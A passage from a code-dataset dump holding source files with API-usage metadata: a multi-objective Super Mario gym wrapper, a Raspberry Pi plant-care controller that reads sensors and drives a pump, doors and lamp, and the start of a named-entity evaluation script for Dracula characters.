"usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 47, "usage_type": "call"}, {"api_name": "model.db_session.add", "line_number": 50, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 50, "usage_type": "name"}, {"api_name": "model.db_session.commit", "line_number": 51, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 51, "usage_type": "name"}, {"api_name": "model.db_session.close", "line_number": 52, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 59, "usage_type": "call"}, {"api_name": "manage.api.route", "line_number": 37, "usage_type": "call"}, {"api_name": "manage.api", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 68, "usage_type": "name"}, {"api_name": "model.db_session.query", "line_number": 69, "usage_type": "call"}, {"api_name": "model.Group", "line_number": 69, "usage_type": "argument"}, {"api_name": "model.db_session", "line_number": 69, "usage_type": "name"}, {"api_name": "model.Group.group_id", "line_number": 69, "usage_type": "attribute"}, {"api_name": "model.Group.name", "line_number": 70, "usage_type": "attribute"}, {"api_name": "model.Group", "line_number": 70, "usage_type": "name"}, {"api_name": "model.Group.power", "line_number": 70, "usage_type": "attribute"}, {"api_name": "model.Group.group_id", "line_number": 70, "usage_type": "attribute"}, {"api_name": "model.db_session.close", "line_number": 77, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "model.Group", "line_number": 82, "usage_type": "call"}, {"api_name": "model.db_session.query", "line_number": 83, "usage_type": "call"}, {"api_name": "model.Group", "line_number": 83, "usage_type": "argument"}, {"api_name": "model.db_session", "line_number": 83, "usage_type": "name"}, {"api_name": "model.Group.group_id", "line_number": 83, "usage_type": "attribute"}, {"api_name": "model.Group.name", "line_number": 85, "usage_type": "attribute"}, {"api_name": "model.Group", "line_number": 85, "usage_type": "name"}, {"api_name": "model.Group.power", "line_number": 86, "usage_type": "attribute"}, {"api_name": "model.Group", "line_number": 86, "usage_type": "name"}, {"api_name": "model.db_session.commit", "line_number": 88, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 88, "usage_type": "name"}, {"api_name": "model.db_session.close", "line_number": 89, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 89, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 93, "usage_type": "call"}, {"api_name": "manage.api.route", "line_number": 65, "usage_type": "call"}, {"api_name": "manage.api", "line_number": 65, "usage_type": "name"}, {"api_name": "manage.api.route", "line_number": 66, "usage_type": "call"}, {"api_name": "manage.api", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 102, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 102, "usage_type": "name"}, {"api_name": "model.db_session.query", "line_number": 103, "usage_type": "call"}, {"api_name": "model.Group", "line_number": 103, "usage_type": "argument"}, {"api_name": "model.db_session", "line_number": 103, "usage_type": "name"}, {"api_name": "model.Group.group_id", "line_number": 103, "usage_type": "attribute"}, {"api_name": "model.db_session.delete", "line_number": 104, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 104, "usage_type": "name"}, {"api_name": "model.db_session.commit", "line_number": 105, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 105, "usage_type": "name"}, {"api_name": "model.db_session.close", "line_number": 106, "usage_type": "call"}, {"api_name": "model.db_session", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 107, "usage_type": "call"}, {"api_name": "manage.api.route", "line_number": 99, "usage_type": "call"}, {"api_name": "manage.api", "line_number": 99, "usage_type": "name"}]} +{"seq_id": "561836439", "text": "from gym import Wrapper, make\nfrom gym.spaces import Box\nimport numpy as np\n\ntry:\n import gym_super_mario_bros\n from gym_super_mario_bros.actions import RIGHT_ONLY, SIMPLE_MOVEMENT, COMPLEX_MOVEMENT\n from nes_py.wrappers import JoypadSpace\nexcept ImportError as e:\n raise error.DependencyNotInstalled(f'{e} (HINT), you need to install gym_super_mario_bros from https://github.com/Kautenja/gym-super-mario-bros')\n\n\ndef make_mo_mario_env(env_name, actions='RIGHT_ONLY'):\n assert 'SuperMarioBros' in env_name, 'This is meant for super mario envs'\n movements = {'RIGHT_ONLY': RIGHT_ONLY,\n 'SIMPLE_MOVEMENT': SIMPLE_MOVEMENT,\n 'COMPLEX_MOVEMENT': COMPLEX_MOVEMENT}\n env = make(env_name)\n env = MOWrapper(env)\n env = JoypadSpace(env, movements[actions])\n return env\n\n\nclass MOWrapper(Wrapper):\n \"\"\"Multi objective Multimario, inspired from https://github.com/RunzheYang/MORL/\n There are 5 objectives:\n - how much it moved to the right\n - time penalty\n - death\n - collected coins\n - score increase (corresponds to hitting an enemy)\n \"\"\"\n\n DEATH_PENALTY = -25\n\n def __init__(self, env):\n super(MOWrapper, self).__init__(env)\n low = np.array([-np.inf, -np.inf, MOWrapper.DEATH_PENALTY, 0, 0])\n high = np.array([np.inf, 0, 0, np.inf, np.inf])\n self.reward_space = Box(low=low, high=high, dtype=np.float32)\n\n def reset(self):\n self.lives = 2\n self.coins = 0\n self.x_pos = 0\n self.time = 0\n self.score = 0\n obs = super(MOWrapper, self).reset()\n return obs\n\n def step(self, action):\n # ignore single-objective reward\n n_obs, _, done, info = super(MOWrapper, self).step(action)\n # 1. position\n r_xpos = info['x_pos'] - self.x_pos\n self.x_pos = info['x_pos']\n # resolve an issue where after death the x position resets\n if r_xpos < -5:\n r_xpos = 0\n # 2.time penalty\n r_time = info['time'] - self.time\n self.time = info['time']\n if r_time > 0:\n r_time = 0\n # 3. death\n if self.lives > info['life']:\n r_death = MOWrapper.DEATH_PENALTY\n else:\n r_death = 0\n self.lives = info['life']\n # 4. coin\n r_coin = 100*(info['coins'] - self.coins)\n self.coins = info['coins']\n # 5. enemy\n r_enemy = info['score'] - self.score\n if r_coin or done:\n r_enemy = 0\n self.score = info['score']\n\n return n_obs, np.array([r_xpos, r_time, r_death, r_coin, r_enemy]), done, info\n", "sub_path": "gym/envs/multi_objective/super_mario.py", "file_name": "super_mario.py", "file_ext": "py", "file_size_in_byte": 2653, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "gym_super_mario_bros.actions.RIGHT_ONLY", "line_number": 15, "usage_type": "name"}, {"api_name": "gym_super_mario_bros.actions.SIMPLE_MOVEMENT", "line_number": 16, "usage_type": "name"}, {"api_name": "gym_super_mario_bros.actions.COMPLEX_MOVEMENT", "line_number": 17, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 18, "usage_type": "call"}, {"api_name": "nes_py.wrappers.JoypadSpace", "line_number": 20, "usage_type": "call"}, {"api_name": "gym.Wrapper", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 39, "usage_type": "attribute"}, {"api_name": "gym.spaces.Box", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}]} +{"seq_id": "123338557", "text": "import requests\nimport os as os\nfrom . import iPlant_sys, utility\nfrom DB import DB\nimport time\nimport sys\nimport math\nimport datetime\n\nurl = 'http://192.168.137.1:3000/'\nplant = {}\ndb = {}\nheat_sample = None\nserver_timeout = 0.5\nmain_loop_time = 3\nrun_time = 0\n\n\ndef start_program():\n program_starter()\n\n global db\n global plant\n global run_time\n\n interrupt_flag = False\n db = DB.PiDB()\n pi_config = db.get_config()\n\n print('Device mac address: ', utility.get_mac())\n if pi_config is None:\n print('Please enter Pi pins config')\n pi_config = config_device()\n\n plant = iPlant_sys.IPlantSys(utility.get_mac(), pi_config)\n last_sensor_log = db.get_last_sensors_log()\n print('Last sensor log: ', last_sensor_log)\n\n if last_sensor_log is not None and last_sensor_log[5] is not None:\n print('Door status has been changed to last sensor record: ', last_sensor_log[5])\n plant.doors.is_open = last_sensor_log[5]\n\n profile = get_profile_from_db()\n if profile is not None:\n print('Profile: ', profile)\n plant.set_profile_from_db(profile)\n else:\n print('Profile: Not set yet')\n change_profile()\n\n run_choice = print_choices()\n print(\"------------------------------------Main loop started:-------------------------------- \")\n try:\n while run_time != int(run_choice):\n print(\"-------------------------------------------\", run_time, '----------------------------------------')\n\n # -----------------------------\n get_cmd_to_do() # getting commands to do from server\n if plant.profile is not None:\n sensors_status = do_sensor_check() # Doing sensor check and saving it\n doors_based_on_weather(sensors_status) # closing doors if raining/to hot\n check_if_to_water() # checking if the plant need water, and water it if the water lvl high enough\n check_if_grow_lamp_req(sensors_status)\n # -----------------------------\n\n run_time += 1\n print('Sleeping ', main_loop_time, ' seconds...')\n time.sleep(main_loop_time)\n\n except KeyboardInterrupt:\n interrupt_flag = True\n program_ended()\n\n if not interrupt_flag:\n program_ended()\n\n\n# Finished\ndef get_cmd_to_do():\n print(\"Getting commands to do from server:\")\n params = {\n \"mac\": plant.mac,\n }\n try:\n resp = requests.post(url+'deviceCommands/getCommands', timeout=server_timeout, json=params)\n answer = resp.json()\n except Exception as err:\n print(\"Cant reach server\")\n return\n\n if answer['success']:\n print(\"There are commands to execute!\")\n do_commands(answer['answer'])\n\n else:\n print(\"No commands to execute!\")\n\n\n# Finished\ndef print_commands(commands):\n str_commands = \"\"\n for cmd in commands:\n str_commands += cmd['command']+', '\n\n print('// Commands: ', str_commands)\n\n\n# Finished\ndef do_commands(arg_commands):\n print('/' * 70)\n print_commands(arg_commands)\n print('//', '-' * 67)\n for cmd in arg_commands:\n print(\"// Doing command:\", cmd['command'])\n if cmd['command'] == \"init_device\" and os.path.exists('piDB'):\n init_db()\n elif cmd['command'] == \"set_profile\":\n change_profile()\n elif cmd['command'] == \"activate_doors\":\n activate_doors()\n elif cmd['command'] == \"activate_lamp\":\n change_lamp_status()\n elif cmd['command'] == \"water_now\":\n water_now_forced()\n print('//', '-' * 67)\n\n print('// Finished executing commands')\n print('/' * 70)\n return True\n\n\n# Finished\ndef do_sensor_check():\n sensors_log = get_sensors_log()\n save_sensors_log(sensors_log)\n print_sensors_log(sensors_log)\n send_sensors_log(sensors_log)\n\n return sensors_log\n\n\n# Finished\ndef update_sensors_state(sensors_state):\n save_sensors_log(sensors_state)\n sensors_state['mac'] = plant.mac\n send_sensors_log(sensors_state)\n\n\n# Finished\ndef get_sensors_log():\n return plant.get_sensors_status()\n\n\n# Finished\ndef save_sensors_log(sensors_log):\n db.remove_last_sensors_log()\n db.insert_last_sensors_log(sensors_log)\n\n\n# Finished\ndef print_sensors_log(sensors_log):\n arr_sensors = [\n sensors_log['light'],\n sensors_log['moist'],\n sensors_log['heat'],\n sensors_log['water_lvl'],\n sensors_log['doors'],\n sensors_log['rain'],\n sensors_log['lamp']\n ]\n cur_time = time.strftime(\"%H:%M:%S\", time.localtime())\n\n print('Current sensors status:')\n print('-' * 97)\n print('| Time | Light | Moist | Heat | Water lvl | Doors | Rain | lamp |')\n print('-' * 97)\n print('|', cur_time, '| {0:>8}% | {1:>8}% | {2:>7}C | {3:>12}% | {4:>9} | {5:>8} | {6:>8} |'.format(*arr_sensors))\n print('-' * 97)\n\n\n# Finished\ndef send_sensors_log(sensors_log):\n to_save = check_if_whole_hour()\n if to_save:\n print(\"Timed save, saving log...\")\n save_whole_hour_log(sensors_log)\n\n print('Sending sensor log to server...')\n\n send_log = dict(sensors_log)\n send_log['light'] = plant.light.convert_to_string(sensors_log['light'])\n send_log['whole_hour'] = to_save\n try:\n resp = requests.post(url+'lastSensorRecords/add', timeout=server_timeout, json=send_log)\n answer = resp.json()\n\n print(\"Server got answer? --> \", answer['success'])\n except Exception as err:\n print(\"Cant reach server\")\n\n return True\n\n\n# Finished\ndef check_if_whole_hour():\n timestamp = time.time()\n if timestamp % 3600 == 0:\n return True\n else:\n return False\n\n\n# Finished\ndef save_whole_hour_log(sensors_log):\n db.insert_sensors_log(sensors_log)\n\n\n# Finished\ndef change_lamp_status():\n sensors_status = convert_to_dict(db.get_last_sensors_log())\n sensors_status['lamp'] = not sensors_status['lamp']\n update_sensors_state(sensors_status)\n\n if plant.lamp.is_on:\n plant.lamp.lamp_off()\n else:\n plant.lamp.lamp_on()\n\n\n# TODO: stss in progress\ndef check_if_grow_lamp_req(sensors_status):\n if plant.check_fix_lamp():\n print(\"Lamp fixed, doing nothing ;)\")\n return\n\n cur_light = sensors_status['light']\n cur_time = datetime.datetime.now()\n is_lamp_on = plant.check_lamp()\n\n print('Checking if lamp needed...')\n if 19 < cur_time.hour < 7 and is_lamp_on:\n plant.lamp.lamp_off()\n else:\n if plant.profile.light == 'Full sun' and cur_light < 90:\n if not is_lamp_on:\n plant.lamp.lamp_on()\n elif plant.profile.light == 'Partial sun' and cur_light < 75:\n if not is_lamp_on:\n plant.lamp.lamp_on()\n elif plant.profile.light == 'Shady' and cur_light < 50:\n if not is_lamp_on:\n plant.lamp.lamp_on()\n elif is_lamp_on:\n plant.lamp.lamp_off()\n\n sensors_status['lamp'] = plant.check_lamp()\n update_sensors_state(sensors_status)\n\n\n# Finished\ndef activate_doors():\n sensors_status = convert_to_dict(db.get_last_sensors_log())\n sensors_status['doors'] = not sensors_status['doors']\n update_sensors_state(sensors_status)\n plant.doors.doors()\n\n\n# Finished\ndef convert_to_dict(arg_array):\n sensors_status = {\n 'light': arg_array[1],\n 'heat': arg_array[2],\n 'moist': arg_array[3],\n 'water_lvl': arg_array[4],\n 'doors': arg_array[5],\n 'lamp': arg_array[6]\n }\n\n return sensors_status\n\n\n# Finished\ndef change_profile():\n answer = get_profile_from_server()\n if answer['success']:\n if answer['device']:\n set_profile(answer['answer'])\n else:\n print(answer['msg'])\n elif answer['success'] is False:\n print(\"Cant reach server\")\n\n\n# Finished\ndef get_profile_from_server():\n data = {\"mac\": plant.mac}\n print('Trying to get profile from server...')\n\n try:\n resp = requests.post(url + 'user_devices/getDeviceProfileByMac', timeout=server_timeout, json=data)\n answer = resp.json()\n\n print(\"Server got answer? --> \", answer['success'])\n except Exception as err:\n answer = {'success': False}\n\n return answer\n\n\n# Finished\ndef get_profile_from_db():\n return db.get_profile()\n\n\n# Finished\ndef set_profile(profile):\n print('Setting profile: ')\n print(profile)\n global heat_sample\n heat_sample = None\n\n if plant.profile is None:\n db.set_profile(profile)\n print('New profile been set')\n else:\n db.update_profile(profile)\n print('Profile been updated')\n\n plant.set_profile_from_server(profile)\n\n\n# Finished\ndef init_db():\n global db\n print('DB init started...')\n db = None\n os.remove('piDB')\n db = DB.PiDB()\n print('DB init finished...')\n\n\n# Finished\ndef config_device():\n print('Pi config in progress:')\n pi_config = []\n pi_config.append(\"Stss\")\n pi_config.append(input(\"Enter light sensor pin number(In adc): \"))\n pi_config.append(input(\"Enter water_lvl sensor pin number(In adc): \"))\n pi_config.append(input(\"Enter moist sensor pin number(In adc): \"))\n pi_config.append(input(\"Enter heat sensor pin number: \"))\n pi_config.append(input(\"Enter rain sensor pin number: \"))\n pi_config.append(input(\"Enter pump pin number: \"))\n pi_config.append(input(\"Enter lamp pin number: \"))\n pi_config.append(input(\"Enter door_left motor pin number: \"))\n pi_config.append(input(\"Enter door_right motor pin number: \"))\n\n config = db.get_config()\n\n if config is not None:\n db.update_config(pi_config)\n else:\n db.set_config(pi_config)\n\n return pi_config\n\n\n# Finished\ndef set_config(pi_config):\n plant.set_pins_config(pi_config)\n\n\n# Finished\ndef check_if_to_water():\n if plant.check_fix_pump():\n print(\"Pump fixed, doing nothing\")\n return\n\n print(\"Checking if need to water the plant:\")\n if time_between_watering() < 60*5:\n print('To early to check...')\n return\n\n need_to_water = plant.check_if_need_water()\n enough_water = plant.check_if_enough_water_lvl()\n\n if need_to_water and enough_water:\n\n send_start_water_session()\n pump_amount = plant.water_now()\n send_end_water_session()\n\n if pump_amount > 0:\n print('Watering session ended, watered for - ', pump_amount)\n db.insert_water(pump_amount)\n send_water_log(pump_amount)\n elif need_to_water and not enough_water:\n print('Need to water but not enough water in reservoir')\n else:\n print(\"No need to water the plant for now.\")\n\n\n# Finished\ndef time_between_watering():\n cur_time = time.time()\n water_session = db.get_last_waterTime()\n if water_session is None:\n return 999999\n\n last_time = float(water_session[0])\n diff = cur_time - last_time\n\n return diff\n\n\n# Finished\ndef water_now_forced():\n send_start_water_session()\n pump_amount = plant.water_now()\n send_end_water_session()\n db.insert_water(pump_amount)\n send_water_log(pump_amount)\n\n print('Forced Watering session ended, watered for - ', pump_amount)\n\n\n# Finished Sts\ndef doors_based_on_weather(sensors_status):\n if plant.check_fix_door():\n print(\"Doors fixed, doing nothing ;)\")\n return\n\n profile_max_heat = plant.profile.heatMax\n profile_min_heat = plant.profile.heatMin\n\n current_heat = sensors_status['heat']\n rain_status = sensors_status['rain']\n doors_status = sensors_status['doors']\n change_state = False\n\n if rain_status and not doors_status:\n print('Rainy outside and it seems that the doors are closed, doing nothing')\n return\n\n if rain_status and doors_status:\n print('Rainy outside, closing doors...')\n global heat_sample\n heat_sample = None\n\n plant.doors.doors()\n\n elif current_heat - 2 > profile_max_heat and not doors_status: # if hot and door closed\n print('Too hot, current heat: ', current_heat, ' profile max heat: ', profile_max_heat,\n ' ,checking better state...')\n new_door_state = check_better_state(current_heat, profile_max_heat, doors_status, 'hot')\n if new_door_state != doors_status:\n plant.doors.doors()\n\n elif current_heat + 2 < profile_min_heat and doors_status: # if cold and opened doors\n print('Too cold, current heat: ', current_heat, ' profile min heat: ', profile_min_heat,\n ' ,checking better state...')\n new_door_state = check_better_state(current_heat, profile_min_heat, doors_status, 'cold')\n if new_door_state != doors_status:\n plant.doors.doors()\n\n sensors_status['doors'] = plant.check_doors()\n update_sensors_state(sensors_status)\n\n\n# TODO: in progress\ndef check_better_state(cur_heat, profile_heat, door_state, weather):\n global heat_sample\n check_time = 60*5\n print(heat_sample)\n if heat_sample is None:\n heat_sample = {\n 'sample_time': time.time(),\n 'sample_heat': cur_heat,\n 'door_state': door_state\n }\n if weather == 'hot':\n return 1\n else:\n return 0\n\n current_time = time.time()\n time_diff = current_time - heat_sample['sample_time']\n\n sample_doors_state = heat_sample['door_state']\n cur_diff = math.fabs(cur_heat - profile_heat)\n sample_diff = math.fabs(heat_sample['sample_time'] - profile_heat)\n\n if time_diff < check_time:\n print('Too early to change... next change in: ', check_time - time_diff, 's')\n return sample_doors_state\n else:\n heat_sample = {\n 'sample_time': current_time,\n 'sample_heat': cur_heat\n }\n\n if cur_diff > sample_diff:\n heat_sample['door_state'] = not sample_doors_state\n return not sample_doors_state\n else:\n heat_sample['door_state'] = sample_doors_state\n return sample_doors_state\n\n\n# Finished\ndef send_start_water_session():\n print('Sending to server that water session started...')\n data = {'mac': plant.mac}\n try:\n resp = requests.post(url + 'waterSessions/start', timeout=server_timeout, json=data)\n answer = resp.json()\n\n print(\"Server got answer? --> \", answer['success'])\n except Exception as err:\n print(\"Cant reach server\")\n\n\n# Finished\ndef send_end_water_session():\n print('Sending to server that water session ended...')\n data = {'mac': plant.mac}\n try:\n resp = requests.post(url + 'waterSessions/end', timeout=server_timeout, json=data)\n answer = resp.json()\n\n print(\"Server got answer? --> \", answer['success'])\n except Exception as err:\n print(\"Cant reach server\")\n\n\n# Finished\ndef send_water_log(amount):\n print('Sending water log to server...')\n data = {'amount': amount, 'mac': plant.mac}\n try:\n resp = requests.post(url + 'waterRecords/add', timeout=server_timeout, json=data)\n answer = resp.json()\n\n print(\"Server got answer? --> \", answer['success'])\n except Exception as err:\n print(\"Cant reach server\")\n\n return True\n\n\n# Finished\ndef print_choices():\n global plant\n\n while True:\n print(\"Commands:\")\n print(\"1) Start main loop\")\n print(\"2) Configure Pi pins\")\n print(\"3) Init DB\")\n print(\"4) Doors check\")\n print(\"5) Sensor check\")\n print(\"6) Functions check\")\n print(\"7) Change profile\")\n print(\"8) Check current sensor log\")\n print(\"0) Exit program\")\n\n choice = int(input('Please enter command number:'))\n\n if choice == 1:\n run_choice = int(input('Please enter how much time you would like the program to run(-1 for inf, 0 for back):'))\n if run_choice == 0:\n continue\n else:\n break\n if choice == 2:\n pi_config = config_device()\n set_config(pi_config)\n if choice == 3:\n while True:\n init_choice = input('Are you sure? (y/n)')\n\n if init_choice == 'y':\n init_db()\n pi_config = config_device()\n set_config(pi_config)\n else:\n break\n if choice == 4:\n while True:\n print(\"Door status:\", plant.doors.isDoorsOpen())\n print(\"(-) 1 to open the doors\")\n print('(-) 2 for doors calibrations')\n print('(-) 3 Change door status')\n print('(-) 0 for back')\n door_choice = int(input('Please enter command number:'))\n if door_choice == 1:\n plant.doors.doors()\n last_sensor_record = plant.get_sensors_status()\n db.insert_sensors_log(last_sensor_record)\n if door_choice == 2:\n while True:\n print('(--) Door calibrations:')\n print(\"(--) 1 For up\")\n print('(--) -1 For down')\n print('(--) 0 Back')\n side = int(input('Enter command'))\n if side == 1:\n plant.doors.calibrateUp()\n elif side == -1:\n plant.doors.calibrateDown()\n elif side == 0:\n break\n if door_choice == 3:\n plant.doors.changeDoorStatus()\n if door_choice == 0:\n break\n if choice == 5:\n while True:\n print(\"(-) 1 to check light\")\n print('(-) 2 to check water level')\n print('(-) 3 to check moist')\n print('(-) 4 to check heat')\n print(\"(-) 5 to check rain\")\n print('(-) 6 to check pump, not yet')\n print('(-) 0 to main menu')\n\n sensor_choice = int(input('Please enter command number:'))\n if sensor_choice == 1:\n print('light: ', plant.check_light(), '%')\n if sensor_choice == 2:\n print('water level: ', plant.check_water_lvl(), '%')\n if sensor_choice == 3:\n print('moist level: ', plant.check_moist(), '%')\n if sensor_choice == 4:\n print('heat level: ', plant.check_heat(), 'C')\n if sensor_choice == 5:\n print('is it raining?: ', plant.check_rain(), ' ||\"1\" for rain \"0\" otherwise')\n if sensor_choice == 6:\n print('force pump: ', plant.water_now())\n if sensor_choice == 0:\n break\n\n if choice == 6:\n while True:\n print(\"(-) 1 to check door based on weather and fix status for once\")\n print('(-) 2 same as 1 but for infinity')\n print('(-) 0 to main menu')\n func_choice = int(input('Please enter command number:'))\n if func_choice == 1:\n doors_based_on_weather()\n if func_choice == 2:\n while True:\n try:\n doors_based_on_weather()\n print(\"cooling down 10s\")\n time.sleep(10)\n except KeyboardInterrupt:\n break\n\n if func_choice == 0:\n break\n\n if choice == 7:\n while True:\n if plant.profile: \n cur_profile_loop = plant.profile.get_profile()\n else:\n cur_profile_loop = None\n print('Current profile: ', cur_profile_loop)\n print(\"(-) 1 Change profile\")\n print(\"(-) 2 Delete profile\")\n print('(-) 3 Change fix doors')\n print('(-) 0 To main menu')\n profile_choice = int(input('Please enter command number:'))\n if profile_choice == 1: \n dummy_profile = {}\n dummy_profile['light'] = int(input(\"Enter wanted light:\"))\n dummy_profile['heatMin'] = int(input(\"Enter wanted heat min:\"))\n dummy_profile['heatMax'] = int(input(\"Enter wanted heat max:\"))\n dummy_profile['moistMin'] = int(input(\"Enter wanted moist min:\"))\n dummy_profile['moistMax'] = int(input(\"Enter wanted moist max:\"))\n dummy_profile['location'] = input(\"Enter wanted location:\")\n dummy_profile['fix_doors'] = int(input(\"Enter wanted fix_doors:\"))\n set_profile(dummy_profile)\n if profile_choice == 2:\n print('Deleting profile...')\n db.delete_profile()\n plant.profile = None\n print('Profile has been deleted')\n if profile_choice == 3:\n if cur_profile_loop is None:\n print('Profile not set yet, cant change fix door state')\n else:\n fix_doors_state = int(input('Enter fix door state(0/1):'))\n cur_profile_loop['fix_doors'] = fix_doors_state\n set_profile(cur_profile_loop)\n if profile_choice == 0:\n break\n if choice == 8:\n last_log = plant.get_sensors_status()\n print_sensors_log(last_log)\n if choice == 0:\n program_ended()\n sys.exit()\n\n return run_choice\n\n\n# Finished\ndef program_starter():\n print(\"\")\n print(\"-------------------iPlant program STARTED!--------------------------------\")\n\n\n# Finished\ndef program_ended():\n print(\"-------------------iPlant program ENDED!----------------------------------\")\n", "sub_path": "iPlant/iPlant_program.py", "file_name": "iPlant_program.py", "file_ext": "py", "file_size_in_byte": 22152, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "DB.DB.PiDB", "line_number": 27, "usage_type": "call"}, {"api_name": "DB.DB", "line_number": 27, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 171, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 171, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 194, "usage_type": "call"}, {"api_name": "time.time", "line_number": 206, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 237, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 237, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 300, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 337, "usage_type": "call"}, {"api_name": "DB.DB.PiDB", "line_number": 338, "usage_type": "call"}, {"api_name": "DB.DB", "line_number": 338, "usage_type": "name"}, {"api_name": "time.time", "line_number": 404, "usage_type": "call"}, {"api_name": "time.time", "line_number": 476, "usage_type": "call"}, {"api_name": "time.time", "line_number": 485, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 489, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 490, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 514, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 527, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 540, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 655, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 703, "usage_type": "call"}]} +{"seq_id": "585831031", "text": "import nltk\nimport numpy as np\nimport os \nimport os.path as op\nimport re\nfrom multiset import Multiset\nfrom utils import get_line_list_from_file, load_or_create, tokenize, stop_words, ne_list_from_file, spacy_get_entity_types\n\nnp.random.seed(0)\n\n#all the characters in sparknotes\ngold_standard_people = [[\"Dracula\",\"Count Dracula\",\"the Count\"],[\"Abraham Van Helsing\", \"Van Helsing\", \"Dr. Van Helsing\", \"Professor Van Helsing\"], [\"Mina\",\"Miss Murray\", \"Mina Murray\", \"Miss Mina Murray\", \"Madam Mina\", \"Mina Harker\", \"Mrs. Harker\"], [\"Lucy\", \"Lucy Westenra\", \"Miss Westenra\"], [\"Jonathan Harker\", \"Jonathan\",\"Harker\", \"Mr. Harker\"], [\"Arthur Holmwood\", \"Lord Godalming\", \"Arthur\", \"Holmwood\", \"Mr. Holmwood\", \"Hon. Arthur Holmwood\"], [\"John Seward\",\"Dr. Seward\", \"Dr. John Seward\", \"John\"], [\"Quincey Morris\", \"Mr. Quincey P. Morris\", \"Quincey\", \"Mr. Morris\", \"Morris\"], [\"Renfield\", \"Mr. Renfield\", \"R. M. Renfield\"], [\"Mrs. Westenra\"]]\n\ngold_standard_places = [[\"England\"], [\"Transylvania\"], [\"the Carpathian Mountains\", \"the Carpathians\"], [\"Bukovina\"], [\"Moldavia\"], [\"Exeter\"], [\"Castle Dracula\", \"the Castle\"], [\"Varna\"], [\"Whitby\"], [\"Buda-Pesth\", \"Budapest\"], [\"London\"]]\n\ndef entity_recall(ner_list, gold_standard):\n\t\"\"\" Recall for finding *at least one* name per entity\"\"\"\n\tflattened_ner = list(np.concatenate(ner_list))\n\ttrue_pos = 0\n\tfor entity in gold_standard:\n\t\tif len(set(flattened_ner).intersection(set(entity))) > 0:\n\t\t\ttrue_pos += 1\n\treturn true_pos/ len(gold_standard_people)\n\ndef names_recall(ner_list, gold_standard):\t\n\tflattened_ner = list(np.concatenate(ner_list))\n\tflattened_gs = list(np.concatenate(gold_standard))\n\ttrue_pos = 0\n\tfor entity in flattened_gs:\n\t\tif entity in flattened_ner:\n\t\t\ttrue_pos += 1\n\treturn true_pos/ len(flattened_gs)\n\ndef names_precision(ner_list, entity_type):\n\tn_correct = 0\t\n\tfor i, name in enumerate(ner_list):\n\t\tprint(\"evaluate name {} of {}\".format(i+1, len(ner_list)))\n\t\tprint(name)\n\t\tif entity_type[0] in \"aeiouAEIOU\":\n\t\t\ty_or_n = input(\"Is this an {} [y/n]\".format(entity_type))\n\t\telse:\n\t\t\ty_or_n = input(\"Is this a {} [y/n]\".format(entity_type))\n\t\tif y_or_n == \"y\":\n\t\t\tn_correct += 1\n\t\tos.system(\"clear\")\n\treturn (n_correct / len(ner_list))\n\ndef 